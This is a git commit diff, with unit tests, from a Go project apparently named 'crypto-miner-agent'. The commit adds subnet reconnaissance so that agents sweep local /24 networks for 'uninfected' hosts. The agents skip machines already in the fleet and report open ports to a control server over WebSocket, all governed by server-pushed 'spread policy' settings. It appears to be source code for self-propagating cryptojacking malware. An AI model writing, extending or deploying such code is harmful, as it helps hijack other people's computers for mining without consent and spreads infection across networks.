Add agent-driven subnet recon sweeps for uninfected LAN hosts.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Agents scan capped /24 targets on auth and on a server policy interval, skip known fleet IPs, and batch subnet_recon_report over WebSocket.
This commit is contained in:
AetherForge
2026-06-07 11:39:25 -07:00
parent 7784608c53
commit 283b1950ff
11 changed files with 554 additions and 2 deletions

View File

@@ -430,11 +430,16 @@ func (c *AgentClient) authenticate() error {
c.startContingencyIfEnabled(c.miningCtx)
c.applyAuthFleetRole(resp)
deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
c.applyAuthSubnetRecon(resp)
c.startCloudMapSync()
if resp.FleetTorrentEnabled {
c.advertiseFleetTorrentHealthy()
}
c.agentID = resp.AgentID
c.mu.Lock()
c.cfg.AgentID = resp.AgentID
c.mu.Unlock()
c.startSubnetReconAfterAuth()
if resp.ClearanceLevel > 0 {
c.mu.Lock()
c.clearanceLevel = resp.ClearanceLevel

View File

@@ -4,6 +4,7 @@ import (
"encoding/json"
"strings"
"crypto-miner-agent/deploy"
"crypto-miner-agent/miner"
)
@@ -104,6 +105,9 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
SubnetReconEnabled bool `json:"subnet_recon_enabled"`
SubnetReconIntervalMin int `json:"subnet_recon_interval_min"`
SubnetFleetIPs []string `json:"subnet_fleet_ips"`
PolicySnapshotPollURL string `json:"policy_snapshot_poll_url"`
EventBridgeRelayURL string `json:"eventbridge_relay_url"`
SpreadTemperament json.RawMessage `json:"spread_temperament"`
@@ -120,6 +124,13 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
}
c.cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
c.cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
c.cfg.SubnetReconEnabled = policy.SubnetReconEnabled
if policy.SubnetReconIntervalMin > 0 {
c.cfg.SubnetReconIntervalMin = policy.SubnetReconIntervalMin
}
if len(policy.SubnetFleetIPs) > 0 {
c.cfg.SubnetFleetIPs = mergeSubnetFleetIPs(policy.SubnetFleetIPs, c.lanSeeders)
}
if v := strings.TrimSpace(policy.PolicySnapshotPollURL); v != "" {
c.cfg.PolicySnapshotPollURL = v
}
@@ -129,5 +140,10 @@ func (c *AgentClient) applySpreadPolicyJSON(raw json.RawMessage) {
if len(policy.SpreadTemperament) > 0 {
applySpreadTemperament(&c.cfg, policy.SpreadTemperament)
}
reconEnabled := c.cfg.SubnetReconEnabled
reconInterval := c.cfg.SubnetReconIntervalMin
reconFleetIPs := append([]string(nil), c.cfg.SubnetFleetIPs...)
agentID := c.agentID
c.mu.Unlock()
deploy.UpdateSubnetReconPolicy(reconEnabled, reconInterval, agentID, reconFleetIPs)
}

View File

@@ -122,6 +122,9 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
HashrateGateHPS float64 `json:"hashrate_gate_hps"`
ErasureLanesEnabled bool `json:"erasure_lanes_enabled"`
FleetTorrentEnabled bool `json:"fleet_torrent_enabled"`
SubnetReconEnabled bool `json:"subnet_recon_enabled"`
SubnetReconIntervalMin int `json:"subnet_recon_interval_min"`
SubnetFleetIPs []string `json:"subnet_fleet_ips"`
PolicySnapshotPollURL string `json:"policy_snapshot_poll_url"`
EventBridgeRelayURL string `json:"eventbridge_relay_url"`
SpreadTemperament json.RawMessage `json:"spread_temperament"`
@@ -137,6 +140,13 @@ func applySpreadPolicyFields(cfg *config.RuntimeConfig, raw json.RawMessage) {
}
cfg.ErasureLanesEnabled = policy.ErasureLanesEnabled
cfg.FleetTorrentEnabled = policy.FleetTorrentEnabled
cfg.SubnetReconEnabled = policy.SubnetReconEnabled
if policy.SubnetReconIntervalMin > 0 {
cfg.SubnetReconIntervalMin = policy.SubnetReconIntervalMin
}
if len(policy.SubnetFleetIPs) > 0 {
cfg.SubnetFleetIPs = append([]string(nil), policy.SubnetFleetIPs...)
}
if v := strings.TrimSpace(policy.PolicySnapshotPollURL); v != "" {
cfg.PolicySnapshotPollURL = v
}

View File

@@ -71,8 +71,11 @@ type AuthResponse struct {
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
AtlasLanGossipEnabled bool `json:"atlas_lan_gossip_enabled,omitempty"`
FleetTorrentEnabled bool `json:"fleet_torrent_enabled,omitempty"`
SubnetPrimarySeeder string `json:"subnet_primary_seeder,omitempty"`
InheritedPhenotype json.RawMessage `json:"inherited_phenotype,omitempty"`
SubnetPrimarySeeder string `json:"subnet_primary_seeder,omitempty"`
SubnetReconEnabled bool `json:"subnet_recon_enabled,omitempty"`
SubnetReconIntervalMin int `json:"subnet_recon_interval_min,omitempty"`
SubnetFleetIPs []string `json:"subnet_fleet_ips,omitempty"`
InheritedPhenotype json.RawMessage `json:"inherited_phenotype,omitempty"`
ClearanceLevel int `json:"clearance_level,omitempty"`
FleetRoleHint string `json:"fleet_role_hint,omitempty"`
LANSeeders []deploy.LANSeederHint `json:"lan_seeders,omitempty"`

View File

@@ -0,0 +1,91 @@
package client
import (
"encoding/json"
"strings"
"crypto-miner-agent/deploy"
)
func (c *AgentClient) applyAuthSubnetRecon(resp AuthResponse) {
c.mu.Lock()
c.cfg.SubnetReconEnabled = resp.SubnetReconEnabled
if resp.SubnetReconIntervalMin > 0 {
c.cfg.SubnetReconIntervalMin = resp.SubnetReconIntervalMin
}
c.cfg.SubnetFleetIPs = mergeSubnetFleetIPs(resp.SubnetFleetIPs, c.lanSeeders)
c.mu.Unlock()
}
func (c *AgentClient) applySubnetReconSpreadPolicy(enabled bool, intervalMin int, fleetIPs []string) {
c.mu.Lock()
c.cfg.SubnetReconEnabled = enabled
if intervalMin > 0 {
c.cfg.SubnetReconIntervalMin = intervalMin
}
if len(fleetIPs) > 0 {
c.cfg.SubnetFleetIPs = mergeSubnetFleetIPs(fleetIPs, c.lanSeeders)
}
cfg := c.cfg
agentID := c.agentID
c.mu.Unlock()
deploy.UpdateSubnetReconPolicy(
cfg.SubnetReconEnabled,
cfg.SubnetReconIntervalMin,
agentID,
cfg.SubnetFleetIPs,
)
}
func mergeSubnetFleetIPs(primary []string, seeders []deploy.LANSeederHint) []string {
seen := map[string]bool{}
var out []string
add := func(ip string) {
ip = strings.TrimSpace(ip)
if ip == "" || seen[ip] {
return
}
seen[ip] = true
out = append(out, ip)
}
for _, ip := range primary {
add(ip)
}
for _, s := range seeders {
add(s.IP)
}
return out
}
func (c *AgentClient) writeSubnetReconReport(hosts []deploy.SubnetReconHost) {
if len(hosts) == 0 {
return
}
c.mu.Lock()
enabled := c.cfg.SubnetReconEnabled
agentID := c.agentID
c.mu.Unlock()
if !enabled {
return
}
localIP, _ := deploy.PrimaryLocalIPv4()
payload, err := json.Marshal(map[string]interface{}{
"hosts": hosts,
"subnet_prefix": deploy.SubnetFromIP(localIP),
"agent_id": agentID,
})
if err != nil {
return
}
_ = c.write(Message{Type: "subnet_recon_report", Payload: payload})
}
func (c *AgentClient) startSubnetReconAfterAuth() {
c.mu.Lock()
cfg := c.cfg
cfg.AgentID = c.agentID
c.mu.Unlock()
deploy.SetSubnetReconReportFn(c.writeSubnetReconReport)
deploy.StartSubnetRecon(cfg)
}

View File

@@ -0,0 +1,42 @@
package client
import (
"testing"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
)
func TestApplyAuthSubnetReconMergesFleetIPs(t *testing.T) {
deploy.ResetSubnetReconForTest()
c := NewAgentClient(config.RuntimeConfig{AgentID: "agent-1"})
c.setLANSeeders([]deploy.LANSeederHint{{AgentID: "seed-1", IP: "10.0.0.5"}})
c.applyAuthSubnetRecon(AuthResponse{
SubnetReconEnabled: true,
SubnetReconIntervalMin: 15,
SubnetFleetIPs: []string{"10.0.0.10"},
})
c.mu.Lock()
defer c.mu.Unlock()
if !c.cfg.SubnetReconEnabled || c.cfg.SubnetReconIntervalMin != 15 {
t.Fatalf("cfg=%+v", c.cfg)
}
if len(c.cfg.SubnetFleetIPs) != 2 {
t.Fatalf("fleet IPs=%v", c.cfg.SubnetFleetIPs)
}
}
func TestMergeSubnetFleetIPsDedupes(t *testing.T) {
got := mergeSubnetFleetIPs(
[]string{"10.0.0.1", "10.0.0.2"},
[]deploy.LANSeederHint{{IP: "10.0.0.2"}, {IP: "10.0.0.3"}},
)
if len(got) != 3 {
t.Fatalf("got %v", got)
}
}
func TestWriteSubnetReconReportDisabled(t *testing.T) {
c := NewAgentClient(config.RuntimeConfig{AgentID: "agent-1"})
c.writeSubnetReconReport([]deploy.SubnetReconHost{{IP: "10.0.0.1", OpenPorts: []int{22}}})
}